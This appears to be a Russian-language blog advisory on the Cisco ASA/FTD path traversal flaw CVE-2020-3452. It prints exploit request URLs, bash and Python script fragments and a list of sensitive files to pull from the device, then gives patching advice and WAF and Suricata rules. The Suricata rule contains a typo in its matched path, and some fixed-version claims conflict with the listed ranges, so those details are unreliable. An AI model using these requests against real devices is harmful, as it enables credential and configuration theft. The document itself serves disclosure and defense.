Уязвимость Cisco Adaptive Security Appliance и Cisco Firepower Threat Defense
Уязвимость Cisco Adaptive Security Appliance и Cisco Firepower Threat Defense
Категория: Программы Теги: Уязвимости Опубликовано: 10 июня 2025

Уязвимость BDU:2020-04010 (CVE-2020-3452) Cisco ASA и FTD

Уязвимость BDU:2020-04010 (CVE-2020-3452) недостаточной проверки входных данных в веб-интерфейсе межсетевых экранов Cisco Adaptive Security Appliance (ASA) и Firepower Threat Defense (FTD). Она позволяет неаутентифицированному злоумышленнику осуществлять чтение произвольных файлов на уязвимых устройствах через механизм Path Traversal.

Анализ уязвимости

Уровень опасности: 7.5 HIGH (CVSS v3.1)
Вектор атаки: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • AV:N (Attack Vector - Network) - Атака через сеть

  • AC:L (Attack Complexity - Low) - Низкая сложность эксплуатации

  • PR:N (Privileges Required - None) - Не требуются привилегии

  • UI:N (User Interaction - None) - Не требуется взаимодействие с пользователем

  • S:U (Scope - Unchanged) - Воздействие ограничено уязвимым компонентом

  • C:H (Confidentiality - High) - Высокий риск нарушения конфиденциальности

  • I:N (Integrity - None) - Нет воздействия на целостность

  • A:N (Availability - None) - Нет воздействия на доступность

Условия эксплуатации

  1. Доступ к веб-интерфейсу: Устройство должно быть доступно через сеть (публично или внутри периметра)

  2. Уязвимая версия ПО: Только конкретные версии Cisco ASA (9.x) и FTD (6.x)

  3. Открытый порт: HTTPS/TCP 443 (стандартный для веб-интерфейса)

  4. Отсутствие патчей: Не установлены фиксы Cisco

Уязвимое ПО

  • Cisco Firepower Threat Defense от 6.2.3 до 6.2.3.16
  • Cisco Firepower Threat Defense от 6.3.0 до 6.3.0.6 
  • Cisco Firepower Threat Defense от 6.4.0 до 6.4.0.10
  • Cisco Firepower Threat Defense от 6.5.0 до 6.5.0.5
  • Cisco Firepower Threat Defense от 6.6.0 до 6.6.0.1 
  • Cisco Adaptive Security Appliance от 9.8 до 9.8.4.20
  • Cisco Adaptive Security Appliance от 9.13 до 9.13.1.10
  • Cisco Adaptive Security Appliance от 9.6 до 9.6.4.42
  • Cisco Adaptive Security Appliance от 9.9 до 9.9.2.74
  • Cisco Adaptive Security Appliance от 9.10 до 9.10.1.42
  • Cisco Adaptive Security Appliance от 9.12 до 9.12.3.12
  • Cisco Adaptive Security Appliance от 9.14 до 9.14.1.10

Технический механизм уязвимости

Уязвимость возникает в обработчике URL-путей вида /+CSCOT+/oem-customization. Некорректная санитизация параметра name позволяет использовать последовательности ../ для обхода ограничений доступа:

GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

Ключевые ошибки в коде:

  1. Отсутствие нормализации пути после подстановки переменных

  2. Разрешение чтения файлов вне ограниченных каталогов

  3. Недостаточная валидация специальных символов (../%2e%2e)

Анализ эксплойтов

Рассмотрим структуру эксплойтов для понимания вектора атаки:

1. Bash-скрипт:

status=$(curl -LI  $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -w '%{http_code}\n' -s)
  • Использует curl для проверки доступности пути

  • При успехе (HTTP 200) скачивает файл через wget

  • Ключевой параметр: name=%2bCSCOE%2b/portal_inc.lua (URL-encoded +CSCOE+/)

2. Python-скрипт (более универсальный):

attack_url = "https://{}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name={}"
resp = s.get(attack_url.format(host, path))
  • Использует библиотеку requests

  • Позволяет указывать произвольные файлы через --read

  • Автоматически сохраняет результат в {host}.txt

3. Массовое скачивание файлов:

curl "https://$TARGET/+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/${FILE}&lang=../"
  • Использует альтернативный эндпоинт translation-table

  • Перебирает заранее известные файлы (CISCO_KNOWN_FILES)

  • Сохраняет всё в локальную директорию

Ключевые файлы для экспфильтрации

  1. Конфигурационные файлы:

    • running.conf - полная конфигурация устройства

    • portal_inc.lua - содержит хеши паролей администраторов

    -- Пример содержимого portal_inc.lua
    local auth_cookie = "AKCp5bLGRhx...";
    local admin_pass = "$1$nTg2f...";
  2. Системная информация:

    • localization_inc.lua - версии ПО и аппаратные данные

    • session.js - данные о сессиях VPN

  3. Криптографические материалы:

    • *.xml - конфиги AnyConnect с предразмещёнными ключами

    • *.p12 - сертификаты (при наличии в доступных путях)

Возможные последствия успешной атаки

  1. Полный компрометация устройства:

    • Получение хешей паролей для взлома

    • Доступ к консоли через SSH с привилегиями enable

  2. Компрометация VPN:

    • Кража предразмещённых ключей AnyConnect

    • Деанонимизация пользователей через session data

  3. Атаки на внутреннюю сеть:

    • Использование device config для анализа топологии сети

    • Получение IP-адресов критичных систем

  4. Эскалация привилегий:

    • Чтение файлов с данными аутентификации к другим системам

    • Извлечение сертификатов для подмены устройства

Способы защиты

1. Обновление ПО (приоритетный метод):
Установите более новые версии:

  • ASA: 9.14.1.10+, 9.15.1+, 9.16.2+

  • FTD: 6.6.3.1+, 7.0.0+

2. Конфигурационные изменения:

! Отключите уязвимый веб-интерфейс
no http server enable
! Или ограничите доступ
http server enable
http 192.168.1.0 255.255.255.0 management

3. WAF-правила (ModSecurity):

SecRule REQUEST_URI "@contains /+CSCOT+/oem-customization" \
    "id:100049,\
    phase:1,\
    block,\
    msg:'Cisco ASA Path Traversal (CVE-2020-3452)',\
    ctl:ruleEngine=On"

4. Suricata IDS/IPS правила:

alert http any any -> $HOME_NET any \
    (msg:"CVE-2020-3452 - Cisco ASA LFI Attempt"; \
    flow:established,to_server; \
    content:"/+/CSCOT+/oem-customization"; \
    content:"platform=.."; \
    content:"name="; \
    classtype:web-application-attack; \
    sid:20203452; \
    rev:1;)

5. Сетевые ограничения:

  • Блокировка внешнего доступа к /+CSCOT+/ через ACL

  • Обязательная аутентификация перед доступом к web-UI

  • Сегментация сети: вынести management-интерфейс в отдельный VLAN

Алексей Черемных Алексей Черемных
72